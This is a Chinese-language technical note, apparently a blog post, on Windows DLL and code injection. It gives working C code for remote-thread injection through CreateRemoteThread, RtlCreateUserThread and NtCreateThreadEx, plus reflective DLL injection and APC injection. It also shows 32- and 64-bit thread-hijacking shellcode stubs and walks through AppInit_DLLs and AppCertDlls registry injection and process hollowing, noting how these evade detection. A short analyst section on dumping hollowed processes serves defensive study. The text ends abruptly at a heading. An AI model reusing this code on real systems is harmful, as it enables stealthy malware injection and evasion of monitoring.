dll注入代码注入
dll注入&代碼注入
CreateRemoteThread
思路:在目標(biāo)進(jìn)程中申請(qǐng)一塊內(nèi)存并向其中寫(xiě)DLL路徑,然后調(diào)用 CreateRemoteThread ,**(在自己進(jìn)程中 創(chuàng)建遠(yuǎn)程線程到到目標(biāo)進(jìn)程)在目標(biāo)進(jìn)程中創(chuàng)建一個(gè)線程。**LoadLibrary()”函數(shù)作為線程的啟動(dòng)函數(shù),來(lái)加載待注入的DLL文件 ,LoadLibrary()參數(shù) 就是存放DLL路徑的內(nèi)存指針. 這時(shí)需要目標(biāo)進(jìn)程的4個(gè)權(quán)限(PROCESS_CREATE_THREAD,PROCESS_QUERY_INFORMATION,PROCESS_VM_OPERATION,PROCESS_VM_WRITE)
//計(jì)算DLL路徑名所需的字節(jié)數(shù)DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);// 獲取傳遞進(jìn)程ID的進(jìn)程句柄HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |PROCESS_CREATE_THREAD |PROCESS_VM_OPERATION |PROCESS_VM_WRITE,//目標(biāo)進(jìn)程的四個(gè)權(quán)限FALSE, dwProcessId);// 在遠(yuǎn)程進(jìn)程中為路徑名分配空間LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);// 將DLL的路徑名復(fù)制到遠(yuǎn)程進(jìn)程地址空間//pszLibFile:要注入的dll的路徑 pathnameDWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL); //在Kernel32.dll中獲取LoadLibraryW的實(shí)際地址PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");//創(chuàng)建一個(gè)調(diào)用LoadLibraryW(DLLPathname)的遠(yuǎn)程線程// CreateRemoteThread(目標(biāo)進(jìn)程句柄,NULL,0,線程函數(shù)指針,線程函數(shù)參數(shù),0,NULL)HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL); // 等待遠(yuǎn)程線程終止WaitForSingleObject(hThread, INFINITE);// 釋放包含DLL路徑名的遠(yuǎn)程內(nèi)存并關(guān)閉句柄if (pszLibFileRemote != NULL) //開(kāi)辟的內(nèi)存已經(jīng)注入進(jìn)數(shù)據(jù)VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);//關(guān)閉線程和進(jìn)程函數(shù)句柄if (hThread != NULL)CloseHandle(hThread);if (hProcess != NULL)CloseHandle(hProcess);return(0); }RtlCreateUserThread
RtlCreateUserThread()”調(diào)用“NtCreateThreadEx(),這意味著“RtlCreateUserThread()”是“NtCreateThreadEx()”的一個(gè)小型封裝函數(shù)
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);LPVOID LoadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread");#ifdef _DEBUGwprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)RtlCreateUserThread);wprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)LoadLibraryAddress); #endifDWORD dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t);LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);BOOL bStatus = WriteProcessMemory(hProcess, lpBaseAddress, pszLibFile, dwSize, NULL);bStatus = (BOOL)RtlCreateUserThread(hProcess,NULL,0,0,0,0,LoadLibraryAddress,lpBaseAddress,&hRemoteThread,NULL);if (bStatus < 0) {wprintf(TEXT("[-] Error: RtlCreateUserThread failed\n"));return(1);}else {wprintf(TEXT("[+] Remote thread has been created successfully ...\n"));WaitForSingleObject(hRemoteThread, INFINITE);CloseHandle(hProcess);VirtualFreeEx(hProcess, lpBaseAddress, dwSize, MEM_RELEASE);return(0);}return(0); }總結(jié):
openprocess 獲得目標(biāo)進(jìn)程句柄
getprocaddress 獲得loadlibrary地址
getprocaddress 獲得RtlCreateUserThread地址
獲得dll文件路徑大小
virtualalloc 在目標(biāo)進(jìn)程中開(kāi)辟路徑大小的空間
writeprocess寫(xiě)dll路徑名進(jìn)內(nèi)存
bStatus = (BOOL)RtlCreateUserThread(
hProcess,
NULL,
0,
0,
0,
0,
LoadLibraryAddress,
lpBaseAddress, 存有dll路徑的內(nèi)存地址 指針類型
&hRemoteThread,
NULL);
NtCreateThreadEx
memset(&ntbuffer, 0, sizeof(NtCreateThreadExBuffer));DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |PROCESS_CREATE_THREAD |PROCESS_VM_OPERATION |PROCESS_VM_WRITE,FALSE, dwProcessId);LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);int n = WriteProcessMemory(hProcess, pszLibFileRemote, (LPVOID)pszLibFile, dwSize, NULL);PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");PTHREAD_START_ROUTINE ntCreateThreadExAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");if (ntCreateThreadExAddr){ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer);ntbuffer.Unknown1 = 0x10003;ntbuffer.Unknown2 = 0x8;ntbuffer.Unknown3 = (DWORD*)&dwTmp2;ntbuffer.Unknown4 = 0;ntbuffer.Unknown5 = 0x10004;ntbuffer.Unknown6 = 4;ntbuffer.Unknown7 = (DWORD*)&dwTmp1;ntbuffer.Unknown8 = 0;LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;NTSTATUS status = funNtCreateThreadEx(&hRemoteThread,0x1FFFFF,NULL,hProcess,pfnThreadRtn,(LPVOID)pszLibFileRemote,FALSE,NULL,NULL,NULL,&ntbuffer //這里原來(lái)是NULL,但是跑的時(shí)候也可以注入,懵逼);#ifdef _DEBUGwprintf(TEXT("[+] Status: %s\n"), status); #endifif (status != NULL) // FIXME: always returns NULL even when it suceeds. Go figure.{wprintf(TEXT("[-] NtCreateThreadEx Failed! [%d][%08x]\n"), GetLastError(), status);return(1);}else{wprintf(TEXT("[+] Success: DLL injected via NtCreateThreadEx().\n"));WaitForSingleObject(hRemoteThread, INFINITE);}}if (pszLibFileRemote != NULL)VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);if (hRemoteThread != NULL)CloseHandle(hRemoteThread);if (hProcess != NULL)CloseHandle(hProcess);return(0); }總結(jié):openprocess 獲得目標(biāo)進(jìn)程句柄
getprocaddress 獲得loadlibrary地址
getprocaddress 獲得NtCreateThreadEx地址
獲得dll文件路徑大小
virtualalloc 在目標(biāo)進(jìn)程中開(kāi)辟路徑大小的空間
writeprocess寫(xiě)dll路徑名進(jìn)內(nèi)存
利用NtCreateThreadEx 進(jìn)行 dll注入
以上三種遠(yuǎn)程線程注入函數(shù)的區(qū)別:
CreateRemoteThread 和RtlCreateUserThread都調(diào)用 NtCreateThreadEx創(chuàng)建線程實(shí)體
RtlCreateUserThread不需要csrss驗(yàn)證登記 需要自己結(jié)束自己 而CreateRemoteThread 不一樣,不用自己結(jié)束自己。
線程函數(shù)不由createthread執(zhí)行 而是kernal32!baseThreadStart 或者 kernal32!baseThreadInitThunk 執(zhí)行,結(jié)束后 還會(huì)調(diào)用 exitthread 和 rtlexituserthread 結(jié)束線程自身 。
ZwCreateThreadEx
同理,與CreateRemoteThread或RtlCreateUserThread或NtCreateThreadEx用法類似,也是創(chuàng)建遠(yuǎn)程線程實(shí)現(xiàn)注入
反射式dll注入
在別人的內(nèi)存里調(diào)用自己編寫(xiě)的dll導(dǎo)出函數(shù) ,自己dll導(dǎo)出函數(shù)里實(shí)現(xiàn)自我加載(加載PE的整個(gè)過(guò)程),少了使用LoadLibrary的過(guò)程。
反射式注入方式并沒(méi)有通過(guò)LoadLibrary等API來(lái)完成DLL的裝載,DLL并沒(méi)有在操作系統(tǒng)中”注冊(cè)”自己的存在,因此ProcessExplorer等軟件也無(wú)法檢測(cè)出進(jìn)程加載了該DLL
//LoadRemoteLibraryR 函數(shù)說(shuō)明 extern "C" HANDLE __stdcall LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter);DWORD demoReflectiveDllInjection(PCWSTR cpDllFile, DWORD dwProcessId) {HANDLE hFile = NULL;//創(chuàng)建的dll文件句柄HANDLE hModule = NULL;//開(kāi)辟的堆空間句柄HANDLE hProcess = NULL;//目標(biāo)進(jìn)程句柄LPVOID lpBuffer = NULL;DWORD dwLength = 0;DWORD dwBytesRead = 0;do{hFile = CreateFileW(cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);dwLength = GetFileSize(hFile, NULL);#ifdef _DEBUGwprintf(TEXT("[+] File Size: %d\n"), dwLength); #endif//為dll文件開(kāi)辟堆空間 !!!!!!!!這是在自己的進(jìn)程內(nèi)存中 分配堆內(nèi)存lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);//將dll文件讀進(jìn)開(kāi)辟的堆空間中 hfile--》lpbufferif (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) BREAK_WITH_ERROR("[-] Failed to alloc a buffer!");//獲得目標(biāo)進(jìn)程的句柄hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);// LoadRemoteLibraryR:在dll模塊加載到內(nèi)存時(shí)獲取入口點(diǎn),并且實(shí)現(xiàn)調(diào)用該函數(shù)(采用rtlcreateuserthread的方式)遠(yuǎn)程線程注入hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, NULL);WaitForSingleObject(hModule, -1);} while (0);//注入完畢,釋放堆空間,關(guān)閉進(jìn)程句柄if (lpBuffer) HeapFree(GetProcessHeap(), 0, lpBuffer);if (hProcess) CloseHandle(hProcess);return 0; }LoadRemoteLibraryR核心代碼
//檢查庫(kù)是否有ReflectiveLoader// 獲得dll文件的入口點(diǎn)偏移dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);//lpbuffer:堆內(nèi)存的指針 指向存有dll文件的堆內(nèi)存空間// alloc memory (RWX) in the host process for the image...//為映像分配內(nèi)存lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);// write the image into the host process...//將映像寫(xiě)入目標(biāo)進(jìn)程/*BOOL WriteProcessMemory(HANDLE hProcess,LPVOID lpBaseAddress, 要寫(xiě)的內(nèi)存首地址LPVOID lpBuffer, 指向要寫(xiě)的數(shù)據(jù)的指針DWORD nSize,LPDWORD lpNumberOfBytesWritten);*///將映像寫(xiě)入目標(biāo)進(jìn)程 lpRemoteLibraryBuffer 在目標(biāo)進(jìn)程中分配的內(nèi)存空間 lpBuffer在該進(jìn)程內(nèi)存空間中分配的堆內(nèi)存// add the offset to ReflectiveLoader() to the remote library address...//lpRemoteLibraryBuffer 分配的內(nèi)存地址 +dwReflectiveLoaderOffset 入口點(diǎn)偏移lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);// create a remote thread in the host process to call the ReflectiveLoader!//OutputDebugString("INJECTING DLL!");//本身反射性dll 就隱蔽性高,自然不可以用createremoteprocessRtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(TEXT("ntdll")), "RtlCreateUserThread"));RtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, lpReflectiveLoader, lpParameter, &hThread, NULL); //lpReflectiveLoader 線程函數(shù)地址,dll入口函數(shù)地址 lpParameter 參數(shù)WaitForSingleObject(hThread, INFINITE);//釋放掉為dll映像分配的內(nèi)存VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, dwLength, MEM_RELEASE);} while (0);}__except (EXCEPTION_EXECUTE_HANDLER){hThread = NULL;}return hThread; }總結(jié):
在自己進(jìn)程內(nèi)存中heapalloc
將dll文件 readfile進(jìn)heapalloc出的內(nèi)存中
openprocess 獲得進(jìn)程句柄
LoadRemoteLibraryR 函數(shù)獲得dll入口函數(shù)的地址,并且利用遠(yuǎn)程線程注入rtlcreateuserprocess 實(shí)現(xiàn) 對(duì)dll入口函數(shù)的調(diào)用。
{獲得dl文件的入口點(diǎn)偏移 : GetReflectiveLoaderOffset(lpBuffer);//lpbuffer:堆內(nèi)存的指針 指向存有dll文件的堆內(nèi)存空間
為映像分配內(nèi)存 virtualalloc
writeprocessmemory 映像寫(xiě)進(jìn)目標(biāo)進(jìn)程內(nèi)存
函數(shù)真實(shí)地址是 分配的內(nèi)存首地址加上函數(shù)在dll文件中的偏移
遠(yuǎn)程線程函數(shù)注入 call
}
SetWindowsHookE
APC注入
APC 異步過(guò)程調(diào)用
異步過(guò)程調(diào)用是一種能在特定線程環(huán)境中異步執(zhí)行的系統(tǒng)機(jī)制。
MSDN說(shuō),要使用例如線程調(diào)用SignalObjectAndWait、WaitForSingleObjectE、WaitForMultipleObjectsEx、SleepEx等等等這些函數(shù)才會(huì)觸發(fā)
使用QueueUserAPC函數(shù)插入APC函數(shù),QueueUserAPC內(nèi)部調(diào)用的是NtQueueApcThread,再內(nèi)部是KiUserApcDispatcher。
攻擊者可以將惡意代碼作為一個(gè)APC函數(shù)插入APC隊(duì)列(調(diào)用QueueUserAPC或NtQueueApcThread),而這段惡意代碼一般實(shí)現(xiàn)加載DLL的操作,實(shí)現(xiàn)DLL注入。
注入方法的原理:
1.當(dāng)對(duì)面程序執(zhí)行到某一個(gè)上面的等待函數(shù)的時(shí)候,系統(tǒng)會(huì)產(chǎn)生一個(gè)中斷
2.當(dāng)線程喚醒的時(shí)候,這個(gè)線程會(huì)優(yōu)先去Apc隊(duì)列中調(diào)用回調(diào)函數(shù)
3.我們利用QueueUserApc,往這個(gè)隊(duì)列中插入一個(gè)回調(diào)
4.插入回調(diào)的時(shí)候,把插入的回調(diào)地址改為L(zhǎng)oadLibrary,插入的參數(shù)我們使用VirtualAllocEx申請(qǐng)內(nèi)存,并且寫(xiě)入進(jìn)去,寫(xiě)入的是Dll的路徑。
//1.查找窗口HWND hWnd = ::FindWindow(NULL, TEXT("APCTest"));if (NULL == hWnd){return;}/*2.獲得進(jìn)程的PID,當(dāng)然通用的則是你把進(jìn)程PID當(dāng)做要注入的程序,這樣不局限于窗口了.這里簡(jiǎn)單編寫(xiě),進(jìn)程PID可以快照遍歷獲取*/DWORD dwPid = 0;DWORD dwTid = 0;dwTid = GetWindowThreadProcessId(hWnd, &dwPid);//3.打開(kāi)進(jìn)程HANDLE hProcess = NULL;hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);if (NULL == hProcess){return;}//4.成功了,申請(qǐng)遠(yuǎn)程內(nèi)存void *lpAddr = NULL;lpAddr = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (NULL == lpAddr){return;}//5.寫(xiě)入我們的DLL路徑,這里我寫(xiě)入當(dāng)前根目錄下的路徑char szBuf[] = "MyDll.dll";BOOL bRet = WriteProcessMemory(hProcess, lpAddr, szBuf, strlen(szBuf) + 1, NULL);if (!bRet){return;}//6.根據(jù)線程Tid,打開(kāi)線程句柄HANDLE hThread = NULL;hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwTid);if (NULL == hThread){return;}//7.給APC隊(duì)列中插入回調(diào)函數(shù)QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpAddr);CloseHandle(hThread);CloseHandle(hProcess); DWORD QueueUserAPC( PAPCFUNCpfnAPC, // APC function 指向一個(gè)用戶提供的APC函數(shù)的指針 HANDLEhThread, // handle to thread 指定特定線程的句柄。 ULONG_PTRdwData // APC function parameter 指定一個(gè)被傳到pfnAPC參數(shù)指向的APC函數(shù)的值 );PAPCFUNCpfnAPC :這個(gè)函數(shù)將在指定線程執(zhí)行an alertable wait operation操作時(shí)被調(diào)用。
AppLint_DLLs 注冊(cè)表項(xiàng)注入
1.概述:
這種注入方式有他的弊端,那就是注入的程序必須加載user32.dll,也就說(shuō)通常是那些GUI程序才可以。原因是,每當(dāng)啟動(dòng)一個(gè)GUI程序,他都會(huì)掃描注冊(cè)表的AppInit_DLLs項(xiàng),看看其中有沒(méi)有制定的目標(biāo)庫(kù),如果有,那就在程序運(yùn)行時(shí),首先主動(dòng)加載該動(dòng)態(tài)庫(kù),所以我們只需要將Dll完整路徑寫(xiě)在這個(gè)位置,就可完成注入。值得一提的是,這樣的Dll默認(rèn)加載機(jī)制,,攜帶惡意代碼的Dll也會(huì)在此處注冊(cè),所以Win7之后,Windows在同一個(gè)路徑下,增加了一個(gè)表項(xiàng)LoadAppInit_DLLs,它的默認(rèn)值是0,也就是說(shuō)不管你在AppInit_DLLs注冊(cè)什么Dll,那都沒(méi)用,不會(huì)被默認(rèn)加載,所以想要順利完成注入,需要完成這個(gè)LoadAppInit_DLLs的修改,將其修改為1。
2.流程:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows下找到AppInit_DLLs和LoadAppInit_DLLs項(xiàng)
將AppInit_DLLs值修改為目標(biāo)Dll完整路徑
修改LoadAppInit_DLLs值為1(意思是允許默認(rèn)加載動(dòng)態(tài)庫(kù))
AppCert DLL 注入
如果有進(jìn)程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec
函數(shù),那么此進(jìn)程會(huì)獲取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls注冊(cè)表項(xiàng),此項(xiàng)下的dll都會(huì)被加載到此進(jìn)程。
此技術(shù)的實(shí)現(xiàn)邏輯是CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec
函數(shù)在創(chuàng)建進(jìn)程的時(shí)候其內(nèi)部會(huì)調(diào)用BasepIsProcessAllowed函數(shù),而B(niǎo)asepIsProcessAllowed則會(huì)打開(kāi)AppCertDlls注冊(cè)表項(xiàng),將此項(xiàng)下的dll都加載到進(jìn)程中。
CreateProcess過(guò)程有七個(gè)階段,BasepIsProcessAllowed的過(guò)程發(fā)生在階段2——?jiǎng)?chuàng)建文件映像和兼容性檢查之間。
值得注意的是win xp-win 10 默認(rèn)不存在這個(gè)注冊(cè)表項(xiàng),為了利用該技術(shù)需要自行創(chuàng)建AppCertDlls項(xiàng)。
補(bǔ)充:CreateProcess過(guò)程有七個(gè)階段詳解CreateProcess調(diào)用內(nèi)核創(chuàng)建進(jìn)程的過(guò)程 - Gotogoo - 博客園 (cnblogs.com)
傀儡進(jìn)程注入
也是進(jìn)程內(nèi)存替換
之前分析的病毒 使用傀儡進(jìn)程注入(進(jìn)程內(nèi)存替換)達(dá)到進(jìn)程隱藏的目的 ,傀儡進(jìn)程是將目標(biāo)進(jìn)程的映射文件替換為指定的映射文件,替換后的進(jìn)程稱之為傀儡進(jìn)程;常常有惡意程序?qū)㈦[藏在自己文件內(nèi)的惡意代碼加載進(jìn)目標(biāo)進(jìn)程,而在加載進(jìn)目標(biāo)進(jìn)程之前,會(huì)利用ZwUnmpViewOfSection或者NtUnmapViewOfSection進(jìn)行相關(guān)設(shè)置
流程概述:
直接將自身代碼注入傀儡進(jìn)程,不需要DLL。首先用CreateProcess來(lái)創(chuàng)建一個(gè)掛起的IE進(jìn)程,創(chuàng)建時(shí)候就把它掛起。然后得到它的裝載基址,使用函數(shù)ZwUnmapViewOfSection來(lái)卸載這個(gè)這個(gè)基址內(nèi)存空間的數(shù)據(jù),。再用VirtualAllocEx來(lái)個(gè)ie進(jìn)程重新分配內(nèi)存空間,大小為要注入程序的大小(就是自身的imagesize)。使用WriteProcessMemory重新寫(xiě)IE進(jìn)程的基址,就是剛才分配的內(nèi)存空間的地址。再用WriteProcessMemory把自己的代碼寫(xiě)入IE的內(nèi)存空間。用SetThreadContext設(shè)置下進(jìn)程狀態(tài),最后使用ResumeThread繼續(xù)運(yùn)行IE進(jìn)程。
相關(guān)技術(shù)點(diǎn)
1.創(chuàng)建掛起進(jìn)程
系統(tǒng)函數(shù)CreateProcessW中參數(shù)dwCreationFlgs傳遞CREATE_SUSPEND便可以創(chuàng)建一個(gè)掛起的進(jìn)程,進(jìn)程被創(chuàng)建之后系統(tǒng)會(huì)為它分配足夠的資源和初始化必要的操作,(常見(jiàn)的操作有:為進(jìn)程分配空間,加載映像文件,創(chuàng)建主進(jìn)程,將EIP指向代碼入口點(diǎn),并將主線程掛起等)
CreateProcessA(strTargetProcess.c_str(),NULL,NUL NULL, FALSE,CREATE_SUSPENDED, NULL, NULL,&stSi, &stPi)2.利得到當(dāng)前的線程上下文
相關(guān)的API和結(jié)構(gòu)信息如下:
BOOL WINAPI GetThreadContext(__in HANDLE hThread,__in_out LPCONTEXT lpContext );typedef struct _CONTEXT {DWORD ContextFlags;DWORD Dr0;DWORD Dr1;DWORD Dr2;DWORD Dr3;DWORD Dr6;DWORD Dr7;DWORD SegGs;DWORD SegFs;DWORD SegEs;DWORD SegDs;DWORD Edi;DWORD Esi;DWORD Ebx;DWORD Edx;DWORD Ecx;DWORD Eax;DWORD Ebp;DWORD Eip;DWORD SegCs; // MUST BE SANITIZEDDWORD EFlags; // MUST BE SANITIZEDDWORD Esp;DWORD SegSs;BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; } CONTEXT;獲得線程信息代碼
CONTEXT stThreadContext;stThreadContext.ContextFlags = CONTEXT_FULL;if (GetThreadContext(stPi.hThread, &stThreadContext) == 0){return FALSE;}3.清空目標(biāo)進(jìn)程的內(nèi)存空間
目標(biāo)進(jìn)程被初始化后,進(jìn)程的映像文件也隨之被加載進(jìn)對(duì)應(yīng)的內(nèi)存空間。傀儡進(jìn)程在替換之前必須將目標(biāo)進(jìn)程的內(nèi)容清除掉。此時(shí)要用到另外一個(gè)系統(tǒng)未文檔化的函數(shù)NtUnmapViewOfSection,需要自行從ntdll.dll中獲取。該函數(shù)需要指定的進(jìn)程加載的基地址,基地址即是從第2步中的上下文取得。相關(guān)的函數(shù)說(shuō)明及基地址計(jì)算方法如下:
NTSTATUS NtUnmapViewOfSection(_In_ HANDLE ProcessHandle,_In_opt_ PVOID BaseAddress );ontext.Ebx+ 8 = 基地址的地址,因此從context.Ebx + 8的地址讀取4字節(jié)的內(nèi)容并轉(zhuǎn)化為DWORD類型,既是進(jìn)程加載的基地址。
4.重新分配空間
在第3步中,NtUnmapViewOfSection將原始空間清除并釋放了,因此在寫(xiě)入傀儡進(jìn)程之前需要重新在目標(biāo)進(jìn)程中分配大小足夠的空間。需要用到跨進(jìn)程內(nèi)存分配函數(shù)VirtualAllocEx。
一般情況下,在寫(xiě)入傀儡進(jìn)程之前,需要將傀儡進(jìn)程對(duì)應(yīng)的文件按照申請(qǐng)空間的首地址作為基地址進(jìn)行“重定位”,這樣才能保證傀儡進(jìn)程的正常運(yùn)行。為了避免這一步操作,可以以傀儡進(jìn)程PE文件頭部的建議加載基地址作為VirtualAllocEx 的lpAddress參數(shù),申請(qǐng)與之對(duì)應(yīng)的內(nèi)存空間,然后以此地址作為基地址將傀儡進(jìn)程寫(xiě)入目標(biāo)進(jìn)程,就不會(huì)存在重定位問(wèn)題。關(guān)于“重定位”的原理可以自行網(wǎng)絡(luò)查找相關(guān)資料。
5.寫(xiě)入傀儡進(jìn)程
準(zhǔn)備工作完成后,現(xiàn)在開(kāi)始將傀儡進(jìn)程的代碼寫(xiě)入到對(duì)應(yīng)的空間中,注意寫(xiě)入的時(shí)候要按照傀儡進(jìn)程PE文件頭標(biāo)明的信息進(jìn)行。一般是先寫(xiě)入PE頭,再寫(xiě)入PE節(jié),如果存在附加數(shù)據(jù)還需要寫(xiě)入附加數(shù)據(jù)。
6. 恢復(fù)現(xiàn)場(chǎng)并運(yùn)行傀儡進(jìn)程
在第2步中,保存的線程上下文信息需要在此時(shí)就需要及時(shí)恢復(fù)了。由于目標(biāo)進(jìn)程和傀儡進(jìn)程的入口點(diǎn)一般不相同,因此在恢復(fù)之前,需要更改一下其中的線程入口點(diǎn),需要用到系統(tǒng)函數(shù)SetThreadContext。將掛起的進(jìn)程開(kāi)始運(yùn)行需要用到函數(shù)ResumeThread。
7.傀儡進(jìn)程創(chuàng)建過(guò)程總結(jié):
(1) CreateProcess一個(gè)進(jìn)程,并掛起,即向dwCreationFlags 參數(shù)傳入CREATE_SUSPENDED;
(2) GetThreadContext獲取掛起進(jìn)程CONTEXT,其中,EAX為進(jìn)程入口點(diǎn)地址,EBX指向進(jìn)程PEB;
(3) ZwUnmapViewOfSection卸載掛起進(jìn)程內(nèi)存空間數(shù)據(jù);
(4) VirtualAlloc分配內(nèi)存空間;
(5) WriteProcessMemory將惡意代碼寫(xiě)入分配的內(nèi)存;
(6) SetThreadContext設(shè)置掛起的進(jìn)程的狀態(tài);
(6) ResumeThread喚醒進(jìn)程運(yùn)行。
傀儡進(jìn)程是惡意軟件隱藏自身代碼的常用方式,在調(diào)式過(guò)程中,若遇到傀儡進(jìn)程,需要將創(chuàng)建的子進(jìn)程數(shù)據(jù)從內(nèi)存中dump出來(lái),作為PE文件單獨(dú)調(diào)試,dump的時(shí)機(jī)為ResumeThead調(diào)用之前,此時(shí)傀儡進(jìn)程內(nèi)存數(shù)據(jù)已經(jīng)完全寫(xiě)入,進(jìn)程還未正式開(kāi)始運(yùn)行。
若dump后文件無(wú)法運(yùn)行,OD加載失敗,則需要做如下修復(fù):
(1) FileAlignment值修改為SectionAlignment值;
(2) 所有section的Raw Address值修改為Virtual Address.
代碼:
32位環(huán)境下的代碼
0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (為返回地址占位) 0x9c, // pushfd (保存標(biāo)志和寄存器) 0x60, // pushad 0x68, 0xCC, 0xCC, 0xCC, 0xCC, // push 0xDEADBEEF (為DLL路徑名稱占位) 0xb8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, 0xDEADBEEF (為L(zhǎng)oadLibrary函數(shù)占位) 0xff, 0xd0, // call eax (調(diào)用LoadLibrary函數(shù)) 0x61, // popad (恢復(fù)標(biāo)志和寄存器) 0x9d, // popfd 0xc3 // ret64位環(huán)境
0x50, // push rax (保存RAX寄存器) 0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (為返回地址占位) 0x9c, // pushfq 0x51, // push rcx 0x52, // push rdx 0x53, // push rbx 0x55, // push rbp 0x56, // push rsi 0x57, // push rdi 0x41, 0x50, // push r8 0x41, 0x51, // push r9 0x41, 0x52, // push r10 0x41, 0x53, // push r11 0x41, 0x54, // push r12 0x41, 0x55, // push r13 0x41, 0x56, // push r14 0x41, 0x57, // push r15 0x68,0xef,0xbe,0xad,0xde, // fastcall調(diào)用約定 0x48, 0xB9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rcx, 0CCCCCCCCCCCCCCCCh (為DLL路徑名稱占位) 0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (為L(zhǎng)oadLibrary函數(shù)占位) 0xFF, 0xD0, // call rax (調(diào)用LoadLibrary函數(shù)) 0x58, // pop dummy 0x41, 0x5F, // pop r15 0x41, 0x5E, // pop r14 0x41, 0x5D, // pop r13 0x41, 0x5C, // pop r12 0x41, 0x5B, // pop r11 0x41, 0x5A, // pop r10 0x41, 0x59, // pop r9 0x41, 0x58, // pop r8 0x5F, // pop rdi 0x5E, // pop rsi 0x5D, // pop rbp 0x5B, // pop rbx 0x5A, // pop rdx 0x59, // pop rcx 0x9D, // popfq 0x58, // pop rax 0xC3 // ret在我們想目標(biāo)進(jìn)程注入這段代碼之前,以下占位符需要修改填充:
·返回地址(代碼樁執(zhí)行完畢之后,線程恢復(fù)應(yīng)回到的地址)
·DLL路徑名稱
·LoadLibrary()函數(shù)地址
而這也是進(jìn)行劫持,掛起,注入和恢復(fù)線程這一系列操作的時(shí)機(jī)。
32位:
memcpy((void *)((unsigned long)sc + 1), &oldIP, 4);memcpy((void *)((unsigned long)sc + 8), &lpDllAddr, 4);memcpy((void *)((unsigned long)sc + 13), &LoadLibraryAddress, 4);64位:
memcpy(sc + 3, &oldIP, sizeof(oldIP));memcpy(sc + 41, &lpDllAddr, sizeof(lpDllAddr));memcpy(sc + 51, &LoadLibraryAddress, sizeof(LoadLibraryAddress));32位注入核心代碼:
